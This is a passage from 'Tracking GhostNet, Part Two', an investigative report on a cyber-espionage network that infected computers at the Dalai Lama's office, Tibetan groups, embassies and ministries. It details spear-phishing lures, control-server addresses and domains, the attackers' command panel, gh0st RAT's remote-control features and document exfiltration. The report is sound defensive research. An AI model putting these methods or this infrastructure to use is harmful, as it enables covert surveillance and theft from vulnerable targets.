36 A detailed technical investigation of a similar case of a targeted attack which connected to the same control server is available here: http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx another investigation of targeted attacks connecting to the same control server is available here: http://www.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 37 For a detailed list of malicious files and control servers see xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxx 38 VirusTotal.com is a free, web-based service that allows users to upload malicious files that are scanned with 34 leading anti-virus products.
39 http://isc.sans.org/diary.html?storyid4177 JR02-2009 Tracking GhostNet - PART TWO 19 This Palantir screen capture summarizes the relationships between an unknown sender pretending to be campaignsfreetibet.org, the email sent to the International Tibet Support Network , and the attachment (Translation of Freedom Movement ID Book for Tibetans in Exile.doc) that contained malware that connected to a GhostNet control server.
Fig.
1 A Social Engineering attack connects to GhostNet.
JR02-2009 Tracking GhostNet - PART TWO This email was sent on July 25, 2008 by an unknown attacker pretending to be  campaignsfreetibet.org to the International Tibet Support Network.
Attached to the message was a Microsoft Word document named Translation of Freedom Movement ID Book for Tibetans in Exile.doc that exploits a vulnerability in Word to install malware on the targets computer system.
Fig.
2 A Socially Engineered email sent to the International Tibet Support Network.
20JR02-2009 Tracking GhostNet - PART TWO 21 This is a screen capture from VirusTotal.com, a free, web-based service that allows users to upload malicious files that are scanned with anti-virus products.
It shows that only 11 of  34 anti-virus products detected the malicious file (Translation of Freedom Movement ID Book for Tibetans in Exile.doc).
Fig.
3 A Virus Total screen capture of a malware infected email attachment.
JR02-2009 Tracking GhostNet - PART TWO 22 After infecting the target, the Trojan packed in the Word document performed a DNS look-up to find its control server and then connected to that server.
This Trojan attempted to connect to xxxxxxxxxxxxxxxx.
This is one of the control servers that we later scouted and was in the same Trojan family that infected computers in the Dalai Lamas private office.
About 70 of the control servers behind the attacks on Tibetan organizations are located on IP addresses assigned to China.
However, servers have also been identified in the United States, Sweden, South Korea and Taiwan.
The host names pointing to these servers are quite often configured on dynamic DNS services, such as 3322.org.
While these services in and of themselves are not malicious, they are heavily used in these specific attacks.40 Information Warfare Monitor field research In September and October 2008 the Information Warfare Monitor investigated information security practices and alleged cyber espionage activities on the computer systems in various offices related to the work of the Dalai Lama and other Tibetan groups.
The offices that we investigated were: the Office of His Holiness the Dalai Lama (OHHDL), based in Dharamsala, India the Tibetan Government-in-Exile (TGIE) various Offices of Tibet (OOT) in New York City, London, Paris, Brussels, and Geneva and the Tibetan activist NGO, Drewla.
(
See Fig.
4 - p. 23) Office of His Holiness the Dalai Lama The OHHDL is the personal office of the Dalai Lama.
The OHHDL provides secretarial assistance and is responsible for all matters related to the Dalai Lama and acts on his behalf.
It is worth noting that the OHHDLs primary responsibilities include organization of the Dalai Lamas international schedule, handling all diplomatic, governmental and personal correspondence, and acting as the liaison between the Dalai Lama and officials of the Tibetan Government-in-Exile (TGIE) and the Offices of Tibet (OOT) worldwide.
Therefore the OHHDLs computer network is continuously transmitting and receiving extremely sensitive data.
While the Office does not have any secrets, it is essentially the hub of the Tibetan movement and thus handles strategic, time-sensitive communications.
Examples of these communications include scheduling meetings with world leaders, and, since 2002, coordinating the negotiations between the Peoples Republic of China and Dharamsala.
On September 10, 2008, we used Wireshark to capture packets from an OHHDL computer named xxxxxx.
We chose xxxxxxx from among 23 computers on the OHHDL internal network due to time constraints and consultations with office staff to identify the computers most likely to be infected, such as those operated by relatively inexperienced users vulnerable to social engineering techniques, or those handling particularly sensitive data.
An analysis of the data collected reveals that this computer was compromised by malware that was in interactive communication with identified control servers.
The infected computer connected to 40 http://www.businessweek.com/print/magazine/content/08_16/b4080032218430.htm JR02-2009 Tracking GhostNet - PART TWO 23 A Palantir screen capture showing the Tibetan organizations at which we conducted field research and the connections from infected computers at these locations and various control servers located in China.
The locations at which we found evidence of infection are: the Office of His Holiness the Dalai Lama, the Tibetan Government-in-Exile, the Offices of Tibet in New York City and London and the Tibetan activist NGO, Drewla.
Fig.
4 Field researchers discovered malware at five Tibetan locations.
JR02-2009 Tracking GhostNet - PART TWO 24 four different IP addresses, each with a somewhat different method.
While there are four groupings of communications between the infected computer and the control servers, they are related such that there appear to be two distinct families of malware.
In both cases, the malware uses the protocol for standard web traffic, HTTP, in order make the network activity appear as if it were normal Internet browsing.
The first family of malware used HTTP connections to connect to PHP files.41 Despite connecting to different IP addresses and requesting different files, both used the same unique key when communicating, indicating that they are part of the same family of malware.
1)  The malware made connections to a control server on IP address xxxxxxxxxxxx using two host names, xxxxxxxxxxxxxxxx and xxxxxxxxxxxxxxxxxx.
The IP address xxxxxxxxx is in a range assigned to Hainan-TELECOM (xxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxx) in China.
The malware used HTTP to connect to various PHP files on the control server in order to update its status and receive instructions about where to download commands.
The commands are embedded in what appear to be image files (e.g.
JPEG).
2)  The malware made connections to a control server on IP address xxxxxxxxxxx, port 8000.
This IP address reverse resolved to xxxxxxxxxxx.broad.hk.hi.dynamic.163data.
com.cn and is in an IP range assigned to Hainan-TELECOM (HAIFU node adsl dialup ports) in China.
The malware used HTTP POST to upload content to the control server.42 The investigation carried out in Phase 2 identified the network of control servers used in this particular attack.
The control servers we discovered include the control server used in the well- documented instances of social malware used frequently against Tibetan targets during the 2008 Olympics in Beijing.
The second family of malware used HTTP POST to connect to a CGI43 script to communicate between the infected computer and the control server.
While their functions appear to be different, with one malware focusing on reporting and commands and the other on document retrieval, they are likely part of the same family of malware.
In addition, the domain names used, www.lookbytheway.net and www.
macfeeresponse.org, are registered to the same person, zhou zhaojun (losttemp33hotmail.com).
1)  The malware made connections to a control server on IP address 221.5.250.98 using the host name www.lookbytheway.net.
The IP address 221.5.250.98 is assigned to CNCGROUP-CQ (CNC Group CHINA169 Chongqing Province Network) in China.
The malware on the infected computer used HTTP to connect to a file in an attempt to inform the control server of the infected computers status and to download commands.
41 PHP is a popular scripting language often used in web applications.
42 HTTP POST is a method often used to upload content to a web server.
43 CGI scripts are often written in the Perl programming language.
JR02-2009 Tracking GhostNet - PART TWO 25 In one case, the file the infected computer was requesting was not present and the infected computer received a 404 error.
However, successful connections were made via HTTP to CGI scripts.
The infected computer used HTTP POST to submit data to CGI scripts hosted on the control server.
2)  The malware made connections to a control server on 218.241.153.61 using the host name www.macfeeresponse.org.
The IP address 218.241.153.61 is assigned to BITNET (Beijing Bitone United Networks) in Beijing, China.
The malware on the infected computer used HTTP to connect to a file to inform the control server of the infected computers status and download commands.
In addition, connections were made via HTTP to CGI scripts.
The infected computer used HTTP POST to submit data to CGI scripts hosted on the control server.
Connections to one CGI script appear to inform the control server of the presence of particular documents, while connections to a second CGI script appear to cause the infected computer to upload documents to the control server using HTTP POST.
Instances of malware that connect to control server locations www.lookbytheway.net and www.
macfeeresponse.org have been analysed by security companies.44 This network extends to a variety of domain names including: www.lookbytheway.com  210.51.7.155 www.macfeeresponse.com - 210.51.7.155 www.msnppt.net - 221.5.250.98 www.msnxy.net - 210.51.7.155 www.msnyf.com - 221.5.250.98 www.networkcia.com - 210.51.7.155 www.indexnews.org - 61.188.87.58 www.indexindian.com - 210.51.7.155 During the in situ investigation at the Dalai Lamas private office we observed several documents being exfiltrated from the computer network and uploaded to www.macfeeresponse.org, including a document containing thousands of email addresses and one detailing and discussing the Dalai Lamas envoys negotiating position.
(
see Fig.
5 - p. 26) Our investigators did not have access to the stolen documents for reasons of confidentiality.
However, we can assume their significance to Sino-Tibetan negotiations.
One example is the fact that GhostNet penetrated computers of organizations involved in China-TGIE negotiations.45 44 See, http://www.threatexpert.com/report.aspx?md579f7f4695b8878cf1760e8626129ca88 and http://www.threatexpert.com/report.
aspx?md5ea03a7359505e19146994ad77b2a1e46 45 Lodi Gyari is the lead person designated by the Dalai Lama to coordinate negotiations with the Chinese government.
Our invesigator interviewed him in December 2008 in Delhi.
We briefed him on our ongoing investigation and offered advice on information security while engaged in negotiations in Beijing.
Lodi Gyari is also the Executive Chairman of the Board of the International Campaign for Tibet (ICT), an independent Washington-based human rights advocacy group.
(
Note that our investigation uncovered that seven of ICTs computers were compromised by GhostNet).
JR02-2009 Tracking GhostNet - PART TWO 26JR02-2009 Tracking GhostNet - PART TWO This screen capture of the Wireshark network analysis tool shows an infected computer at the Office of His Holiness the Dalai Lama uploading a sensitive document to one of the CGI networks control servers.
Fig.
5 Malware retrieving a sensitive document.
27 Tibetan Government-in-Exile (TGIE) On September 11, 2008, Wireshark was used to capture packets from a TGIE computer xxxxxxx.
An analysis revealed that this computer was compromised by malware which sent communication to, and received communication from, control servers.
The malware made connections to a control server on 221.10.254.248 using the host name 927.
bigwww.com.
The IP address 221.10.254.248 is assigned to CNCGROUP-SC (CNC Group CHINA169 Sichuan Province Network) in China.
The malware on the infected computer used HTTP to connect to a JPEG file, which was not an image file but instead contains an IP address and port number (124.135.97.21:8005).
This IP address, 124.135.97.21, is assigned to CNCGROUP-SD (CNC Group CHINA169 Shandong Province Network) in China.
Offices of Tibet London On October 1, 2008 Wireshark was used to capture packets from a computer in the London OOT.
An analysis revealed that this computer was compromised by malware which sent communication to, and received communication from, control servers.
The malware made connections to a control server on 58.141.132.66 using the hostname oyd.3322.
org on port 4501.
The IP address 58.141.132.66 is assigned to NamBu TV in Seoul, South Korea.
3322.
org is a Chinese dynamic domain service.
New York On March 3, 2008, Wireshark was used to capture packets from a computer in the New York OOT.
An analysis revealed that this computer was compromised by malware which attempted to send communication to a control server.
The malware attempted to make a connection to what appears to be a control server at 125.108.172.81 but there was not an active server at that location.
The IP address 125.108.172.81 is assigned to CHINANET-ZJ-WZ (CHINANET-ZJ Wenzhou node network) in China.
Drewla Following the discovery of targeted malware on the OHHDL, TGIE and OOT networks, we performed similar analysis on Tibetan NGOs to see if we could identify more infected machines communicating with control servers in China.
While we carried out such analysis on a number of NGOs, in this report we focus on Drewlas network.
The Drewla (connection in Tibetan) is an online outreach project was set up in 2005 that employs Tibetan youth with Chinese language skills to chat with people in mainland China and in the diaspora, raising awareness about the Tibetan situation, sharing the Dalai Lamas teachings, and supplying information on how to circumvent Chinese government censorship on the Internet.
On September 12, 2008 Wireshark was used to capture packets from a Drewla computer.
An analysis revealed that this computer was compromised by malware which sent communication to, and JR02-2009 Tracking GhostNet - PART TWO 28 received communication from, control servers.
The malware made connections to a control server on 221.5.250.98 using the host name www.
lookbytheway.net.
The IP address 221.5.250.98 is assigned to CNCGROUP-CQ (CNC Group CHINA169 Chongqing Province Network) in China.
The malware on the infected computer used HTTP to connect to a file in an attempt to inform the control server of the infected computers status and download commands.
The infected computer used HTTP POST to submit data to CGI scripts hosted on the control server.
(
see Fig.
6 - p. 29) Box 1.
Chinese Internet SIGINT in practice During the course of our research, we were informed of the following incident.
A member of Drewla, a young woman, decided to return to her family village in Tibet after working for two years for Drewla.
She was arrested at the Nepalese-Tibetan border and taken to a detention facility, where she was held incommunicado for two months.
She was interrogated by Chinese intelligence personnel about her employment in Dharamsala.
She denied having been politically active and insisted that she had gone to Dharamsala for studies.
In response to this, the intelligence officers pulled out a dossier on her activities and presented her with full transcripts of her Internet chats over the years.
They indicated that they were fully aware of, and were monitoring, the Drewla outreach initiative and that her colleagues were not welcome to return to Tibet.
They then released her and she returned to her village.
JR02-2009 Tracking GhostNet - PART TWO 29JR02-2009 Tracking GhostNet - PART TWO This Palantir screen capture shows the relationship between an infected computer at the Office of His Holiness the Dalai Lama (OHHDL) and the Tibetan NGO Drewla.
Both attempted to connect to the same control server in the CGI network.
Fig.
6 The OHHDL and Drewla were infected by the same malware.
30JR02-2009 Tracking GhostNet - PART TWO Phase 2: Identifying command and control servers This phase of the investigation focused on the discovery of the command and control servers.
We were able to identify and connect to the control servers used by the GhostNet by analysing the data from the OHHDL obtained during the field investigations carried out in Phase 1.
During this process we were able to find and access web-based administration interfaces on the control server identified from the OHHDL data.
These servers contain links to other control servers as well as command servers, and so therefore we were able to enumerate additional command and control servers.
After discovering several instances of malware on these servers, we set up a honey pot computer and were able to identify additional malicious servers by monitoring the traffic generated by our infected honey pot.
Using the attacker(s) web-based administration interface, we were able to command our honey pot computer to download gh0st RAT, one of the Trojans used by GhostNet.
Eventually, our honey pot computer established a connection to the attacker(s) gh0st RAT client.
The attacker(s) proceeded to execute commands on our honey pot.
We were able to discover several IP addresses within a DSL range in Hainan Island (PRC) that the attacker(s) used to communicate with computers infected with gh0st RAT.
Finally, we were able to map out the methods and capabilities of the GhostNet by a triangulated analysis of three sources: 1) data obtained from our collection of socially engineered emails with backdoor attachments, 2) the captured network traffic from Tibetan targets and, 3) data obtained by gaining access to the command and control interface.
(
see Fig.
7 - p. 31) While analysing the data collected from the infected OHHDL computer (xxxxxxx), we discovered web-based administration interfaces to four control servers.
Through some strategic guessing concerning file paths and file names, we were able to access web interfaces to multiple control servers.
In total, we found 26 instances of the administration interface across the four servers.
It remains unclear why the attacker(s) did not secure access to the control interface.
Perhaps the attacker(s) concluded that the file paths and file names could not be easily guessed.
The control servers web interface contains three main components: 1) a listing of all the infected computers that have reported to the control server 2) an interface to issue commands to the infected computers and 3) an interface to monitor pending commands to infected computers and their results when completed.
The commands issued to the infected computers direct the infected computer to download files from additional command servers under the attacker(s) control.
In some cases, these servers act as control servers themselves however, some appear to be used exclusively to host malicious files that infected computers are meant to download.
The attacker(s) set commands on the control servers that instruct infected computers to download additional remote administration Trojans, such as gh0st RAT, in order to take complete real-time control of the infected computers.
Three of the four control servers are located in three different locations in China: Hainan, Guangdong and Sichuan.
One of the control servers is located at a web-hosting company in the United States.
Five of the six command servers are located in mainland China (Hainan, Guangdong, Sichuan and Jiangsu) and one in Hong Kong.
This Palantir screen capture shows the GhostNet servers we uncovered and their relationship with the malicious email sent to, 1) the International Tibet Support Network, 2) the infected computer at the Office of His Holiness the Dalai Lama and, 3) the honey pot network set up at the Citizen Lab.
31JR02-2009 Tracking GhostNet - PART TWO Fig.
7 The GhostNet control servers.
32 The four control servers are: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, Hainan-TELECOM, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, US xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-GD, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx CHINANET-SC, CN The six control/command servers are: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-HI, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CUHKNET, HK xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-GD, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-SC, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-JS, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-SC, CN The data obtained from WHOIS records concerning domain name registration reveals that most of the domains are traceable to the same individual.
However, the attacker(s) could have simply stolen the domains from someone else, or compromised the servers hosting these domains.
Table 1: Domain name registration information xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxx 25/04/06 xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx 26/11/07 xxxxxxxxxxxxx xxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxx 20/06/08 xxxxxxxxxxxxxxxxxx xxxxxxxxx xxxxxxxxxxxxxxxxxx 03/09/08 List of infected computers (see Fig.
8 - p. 33) The Server List interface provides information on each computer infected by the attacker(s) malware, indicating the name given to the computer (by its owner/operator), its IP address, when it was first infected, when it last called home (i.e.
the control server), and how many times it has called home.
Each infected computer is assigned a unique identification number so that the infected computer can be tracked even when its IP address changes.
The page also features a link to the Send Command interface, through which the attacker(s) sends instructions to the infected JR02-2009 Tracking GhostNet - PART TWO 33JR02-2009 Tracking GhostNet - PART TWO This screen capture of the GhostNet interface shows all infected computers that have checked in with the control server.
It has been obscured to protect the identity of the victims.
Fig.
8 The GhostNet Server List interface.
34 computers.
There is also a button at the top of the page that links to a Command Result page that shows the status of the commands sent to the host and their results.
To corroborate our findings, there was an entry in the Server List page of the infected OHHDL computer that we analysed during our field investigations outlined in Part One.
It contained the unique ID, the IP address, computer name, and a link to issue commands to the infected computer.
Sending commands The Send Command link provided for each entry yields an interface that allows an attacker(s) to send specific commands to the selected infected computer.
In addition to a custom command, the attacker(s) may choose from a menu of commands, which includes options to download binaries that provide additional functionality (such as keystroke logging or remote administration), acquire system information (list computer information, software and documents on the computer), or cause the malware to become dormant.
(
See Fig.
9 - p. 35) Using the Send Command interface, the attacker(s) issues instructions to the infected computers to download malicious files that are disguised as standard image files.
As mentioned above, the files are most often hosted on additional command servers that appear to be dedicated to hosting these infected files.46 These command servers contain a variety of files.
While the exact function of each file is not known, the file names given to them by the attacker(s) provide some indication of their functionality.
There are file names associated with the retrieval of files as well as keystroke logging.
One of the commands available to the attacker(s) instructs infected computers to download the gh0st RAT remote administration tool, which gives the attacker(s) full, real-time control of the infected computer.
Gh0st RAT is an open source Trojan that is widely available online.
It was developed by Chinese programmers but has now been translated into English.
The program allows an attacker to create an executable file that can be repacked and disguised and used to infect and compromise a target computer.
This file can be configured to directly connect to the gh0st RAT owner or to a third location, a control server, when it retrieves the current IP address of the gh0st RAT owner.
(
See Fig.
10 - p. 36) Once the infected computer connects to the gh0st RAT owner, an entry appears in the Connection window with some information about the infected computer.
The gh0st RAT owner may then issue commands to the infected computer.
These commands include file manager, screen capture, keylogger, remote shell, system, webcam view, audio capture, as well as the ability to force the infected host to download and execute additional malware, such as a gh0st RAT update.
During the course of the investigation, we infected a honey pot computer with the attacker(s) malware.
We instructed our infected computer to download the attacker(s) version of gh0st RAT using the malicious networks web-based administration interface.
The gh0st RAT attempted to connect to several .broad.hk.hi.dynamic.163data.com.cn IP addresses before finally successfully connecting to xxxxxxxxxxxxxxxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn).
46 In some cases the malicious image files are hosted on the control servers themselves.
JR02-2009 Tracking GhostNet - PART TWO 35JR02-2009 Tracking GhostNet - PART TWO This screen capture of the GhostNet interface shows how the attacker(s) can send specific commands to infected computers.
It has been obscured to protect the identity of the victims.
Fig.
9 The GhostNet Send Command interface.
36JR02-2009 Tracking GhostNet - PART TWO This screen capture of the English language version of the gh0st RAT software shows the commands that an attacker is able to execute on the compromised computer.
Fig.
10 The gh0st RAT interface.
37 The gh0st RAT tool attempts to connect to IP addresses of a DSL provider in Hainan, China: xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn After a successful connection, the attacker(s) proceed to issue commands on our infected computer in real-time.
We found similar but unsuccessful connections to the same IP address range from some of the infected computers we analysed and discovered that a rudimentary version of the web-based administration interface contained only one infection from the same IP address range in Hainan.
In addition, one of the servers used to host the attacker(s) malicious files is a Government of Hainan web server located in Hainan, and one of the control server interfaces we gained access to is also located in Hainan.
However, one should not rush to judgement concerning the identity of the attacker(s) based on this location.
The gh0st RAT software can be configured with a proxy server therefore it is possible that the attacker(s) were using a compromised system as a proxy to hide their true location.
Command results The Command Result page lists the commands issued through the Send Command page and the status of those commands.
Each entry in this interface shows what command was sent to the infected computer, including the URL to the command server and the command file (the malicious file disguised as an image).
Upon the successful completion of a command, the relevant date, time, and result are recorded.
(
See Fig.
11 - p. 38) The Command Result page contains a column that displays the content sent back to the control server from the infected computer.
The command issued to retrieve this content in the Send Command interface is labelled Acquire System Information.
Even though we have been unable to properly decode the content,47 the plain text values in the binary content indicate that these entries contain information about the infected computer (CPU, memory, operating system, programmes installed) as well as file names of documents on the computer, presumably for later retrieval.
This information is likely used to determine which targets the attacker(s) will further exploit and control using remote administration tools such as gh0st RAT.
47 The content is base64 encoded and XORed with values we have yet to identify.
JR02-2009 Tracking GhostNet - PART TWO 38JR02-2009 Tracking GhostNet - PART TWO This screen capture of the GhostNet interface lists the commands issued to infected computers.
It has been obscured to protect the identity of the victims.
Fig.
11 The GhostNet List Command interface.
39 Methods and capabilities The attacker(s) are able to exploit several infection vectors.
First, they create web pages that contain drive by exploit code that infects the computers of those who visit the page.
Second, the attacker(s) have also shown that they engage in spear phishing in which contextually relevant emails are sent to targets with PDF and DOC attachments which, when executed, create back doors that cause the infected computer to connect to a control server and await further instructions.
With each successful infection the attacker(s) may use any contextually relevant data to further exploit the targeted community and may also impersonate the initial target in order to infect all the targets contacts.
Finally, the targets themselves may infect others by forwarding infected documents to their contacts.
In this way, the network of infected computers grows organically.
The first stage of infection focuses on getting targets to execute malicious code.
Once infected, the targets computer routinely checks in with a control server in order to receive further instructions.
At this stage, the attacker(s) acquires some initial information regarding the identity of the infected computer.
Newer versions of the administration interface contain a direct link to a web service that looks up the relevant WHOIS information about the IP address of the infected computer along with a simple port scan.
This version also does a geoIP lookup on the infected computers IP address and lists the country in which the computer is located, indicating that the attacker(s) has an interest in the geographical location of the infected computers.
The attack may also issue an acquire system information command that causes the infected computer to upload its hardware statistics, list of programs installed, list of recent documents, and current network connections.
The attacker(s) may use this information to target the infected computer for further exploitation.
The attacker(s) directs the infected computers to download and install a remote administration Trojan.
The attacker(s) have demonstrated a preference for gh0st RAT but may choose from a variety of Trojans.
The attacker(s) simply browses to the send command interface and pastes in a link to a version of gh0st RAT on a command server under his or her control.
The next time the infected computer checks in to the control server, it will be instructed to download and execute gh0st RAT.
Upon completion, the infected computer notifies the control server and the result appears in the attacker(s) web interface.
Once gh0st RAT is installed on the target, the infected computer will periodically check a specific location and retrieve the IP address to which it is supposed to connect.
When the attacker(s) is not available, he or she will often change this IP to 127.0.0.1 (localhost) so that the amount of potentially suspicious external traffic is limited.
When the attacker(s) is ready to receive connections, the IP address is changed to a valid external IP address.
When the attacker(s) turns on gh0st RAT, he or she is able to see all the infected machines that have established connections to him or her.
The attacker(s) may then execute a wide variety of commands, including file manager, screen capture, keylogger, remote shell, system, webcam view, audio capture, as well as the ability to force the infected host to download and execute additional malware, such as a gh0st RAT update.
The attacker(s) may also secretly execute programs on the target computer.
JR02-2009 Tracking GhostNet - PART TWO 40 Analysis of list of infected computers A detailed analysis of the list of infected computers revealed an overwhelming number of unique infections in many countries.
The same malware that infected computers at the Dalai Lamas office and other Tibetan organizations had a much more extensive set of targets.
The list of entities and locations of those targeted was quite varied.
In total, we found 1,295 infected computers located in 103 countries.
We found that we were able to confidentlyon a scale of low, medium, highidentify 397 of the 1,295 infected computers (26.7), and labelled each one as a high-value target.
We did so because they were either significant to the relationship between China and Tibet, Taiwan or India, or were identified as computers at foreign embassies, diplomatic missions, government ministries, or international organizations.
Of the remaining infected computers, 536 appear to be computers on private broadband Internet providers.
The remaining IP addresses do not reverse resolve and available information on these hosts does not allow us to make judgements regarding the identity or purpose of these computers.
Methodology We compiled a unified and comprehensive list of infected computers from all the control servers, as there was considerable duplication across them.
There were several duplicate entries in the list of infected computersin some cases, the same infected computer was logged multiple times as it was connecting from a different IP address.
In other instances, multiple infected computers were assigned different internal IP addresses and had different computer names but shared the same external IP address.
This signifies that there were multiple infected computers sharing Internet access.
Where possible, we filtered the results by unique computer name, and if no computer name was present, we filtered by unique external IP address.48 (See Fig.
12 - p. 41) On the surface, the names of the infected computers in the sample are provocative.
There are references to ministries of foreign affairs, foreign embassies, and other government entities.
Some contains names of officials or their positions/titles.
However, we recognize that a computer name can be anything its owner wishes, and may be completely unrelated to the location, function, or owner of that particular computer.
Therefore, in order to be more confident as to the true identity or purpose of the infected computer, we relied on reverse DNS look-ups and each IP address record from the Regional Internet Registries.
Using these two pieces of information we were able to confirm the validity of the identity of several infected computers with a high (H) degree of confidence.
In some cases the computer name associated with the infected computer is actually a domain name or an acronym for a recognizable institution or organization.
In these cases we classified our identification of the target with either a medium (M) or low (L) level of confidence.
Medium confidence refers to instances where we have otherwise identified a related high confidence target, 48 In one case we removed 117 unique IP addresses from Mexico that appeared to belong to the same computer connecting in to the control server from a DSL provider.
JR02-2009 Tracking GhostNet - PART TWO 41JR02-2009 Tracking GhostNet - PART TWO This graphic illustrates the global reach of the GhostNet.
There were 1,295 infected computers that reported to the control server.
The infections were spread across 103 countries.
Taiwan reported the most infections followed by the United States, Vietnam and India.
Fig.
12 The geographic location of infected hosts.
42 but for which we rely on the computer name for identification.
Low confidence refers to instances in which we rely solely on the computer name for identification.
Table 2: Selected infections Organization Confidence Location Infections ASEAN H ID, MY 3 Asian Development Bank H PH, IN 3 Associated Press, UK H GB, HK 2 Bureau of International Trade Relations L PH 1 CanTV, Venezuela H VE 8 Ceger, Portugal H PT 1 Consulate General of Malaysia, Hong Kong H HK 1 Deloitte  Touche, New York H US 1 Department of Commerce, Solomon Islands L SB 1 Department of Foreign Affairs, Indonesia H ID 3 Department of Foreign Affairs, Philippines H PH 1 Department of Science and Technology, Philippines H PH 2 Embassy of China, US (see footnote 50) H US 1 Embassy of Cyprus, Germany H DE 1 Embassy of Germany, Australia M AU 1 Embassy of India, Belgium L BE 1 Embassy of India, Serbia L CS 1 Embassy of India, Germany H DE 1 Embassy of India, Italy H IT 1 Embassy Of India, Kuwait H KW 1 Embassy of India, USA H US 7 Embassy of India, Zimbabwe H ZA 1 Embassy of Indonesia, China H CN 1 Embassy of Malaysia, Cuba H CU 1 Embassy of Malaysia, Italy H IT 1 Embassy of Malta L MT 4 Embassy of Malta, Australia L AU 1 Embassy of Malta, Belgium L BE 11 Embassy of Malta, Libya L LY 1 Embassy of Pakistan, Bahrain L BH 1 Embassy of Papua New Guinea, China L CN 1 Embassy of Portugal, Finland H FI 1 Embassy of Portugal, Germany H DE 1 Embassy of The Republic Of China (Taiwan), Swaziland H TW 1 Embassy of Romania, Finland H FI 1 Embassy of Romania, France H FR 1 JR02-2009 Tracking GhostNet - PART TWO 43 Organization Confidence Location Infections Embassy of Romania, Norway H NO 1 Embassy of Romania, PRC H CN 1 Embassy of Thailand, Philippines H PH 2 Embassy of the Republic of Korea, China H CN 2 Government Integrated Telecommunication Network, Malaysia L MY 2 High Commission of India, Cyprus H CY 1 High Commission Of India, United Kingdom H GB 1 Institute for Information Industry, Taiwan L TW 1 International Campaign for Tibet H NL 7 International Chamber of Shipping, United Kingdom L GB 1 Lanka Education and Research Network, Sri Lanka L LK 1 Malta External Trade Corporation Ltd. H MT 1 Maritime Police, Solomon Islands H SB 1 Ministry of Communications, Brunei H BN 1 Ministry of Education, Solomon Islands H SB 1 Ministry of Foreign Affairs, Bangladesh H BD 4 Ministry of Foreign Affairs, Barbados M BB 5 Ministry of Foreign Affairs, Bhutan L BT 11 Ministry of Foreign Affairs, Brunei L BN 1 Ministry Of Foreign Affairs, Iran H IR 1 Ministry of Foreign Affairs, Latvia H LV 2 Ministry of Industry and Trade, Vietnam L VN 30 Ministry of Labour and Human Resources, Bhutan H BT 1 National Informatics Centre, India L IN 12 NATO, (SHAPE HQ) H NL 1 Net Trade, Taiwan H TW 1 New Tang Dynasty Television, United States L US 1 Office of the Dalai Lama, India H IN 2 Pakistan Mission to The United Nations L US, JP 4 Permanent Delegation of Cyprus to the European Union L BE 1 Permanent Mission of Cuba to the United Nations L US 1 PetroVietnam L VN 74 Prime Ministers Office, Laos H LA 5 Public Service Division, Solomon Islands H SB 1 Russian Federal University Network, Russian Federation H RU 1 Software Technology Parks of India, India L IN 2 South Asian Association for Regional Cooperation L BD, US 5 Students for a Free Tibet, United States H US 2 TAITRA, Taiwan H TW, NG 79 JR02-2009 Tracking GhostNet - PART TWO Table 2: Selected infections (contd) 44 Organization Confidence Location Infections Taiwan Government Service Network, Taiwan H TW 1 Tibetan Government in Exile, India H IN, US 4 Trade and Industry Department, Government of Hong Kong H HK 1 Infection timeline The earliest infected computer called home to the control server on May 22, 2007.
The most recent entry in our sample is March 12, 2009.
On average, the amount of time that a host was actively infected was 145 days.49 While 90 infected computers were only infected for one day, 145 were infected for over 400 days.
The longest infection span was 660 days.
In total, 422 hosts checked in March 1-12, 2009 373 of these computers were infected in 2008.
The data indicates that despite a reduction in new infections, the network continues to be operational.
(
See Fig.
13 - p. 45) There are significant spikes in infection rates in December 2007 and August 2008.
There were 320 infections in December 2007 spread across 56 countries.
However, 113 were located within Taiwan and the majority of these infections occurred within a single organization: the Taiwan External Trade Development Council.
During this same period, computers at the Embassies of India in Belgium and Zimbabwe were infected as were the Embassies of Indonesia and the Republic of Korea in the Peoples Republic of China.
In addition, computers at the Ministry of Foreign Affairs in Iran were infected as were several computers at the Tibetan Government-in-Exile.
The spike in August 2008 totalled 258 infections spread across 46 countries.
The OHHDL computer was infected during one of these spikes in August 2008 (It last checked in to the control server in September 2008).
This spike included the Chinese Embassy in the United States,50 3 computers at the Embassy of India in the Unites States, and the High Commission of India in the United Kingdom and in Cyprus.
It also included the Embassy of Cyprus in Germany, the Embassy of Malaysia in Cuba, the Embassy of Thailand in the Philippines and the Ministry of Industry in Vietnam.
Several companies were also compromised, including Net Trade in Taiwan, the New York Office of Deloitte  Touche, and PetroVietnam, the government-owned oil and gas Company.
49 The average number of days from the initial infection to the last time an infected computer checked in with a control server.
50 It is unclear whether the affected embassy is the Republic of China (Taiwan) or Peoples Republic of China.
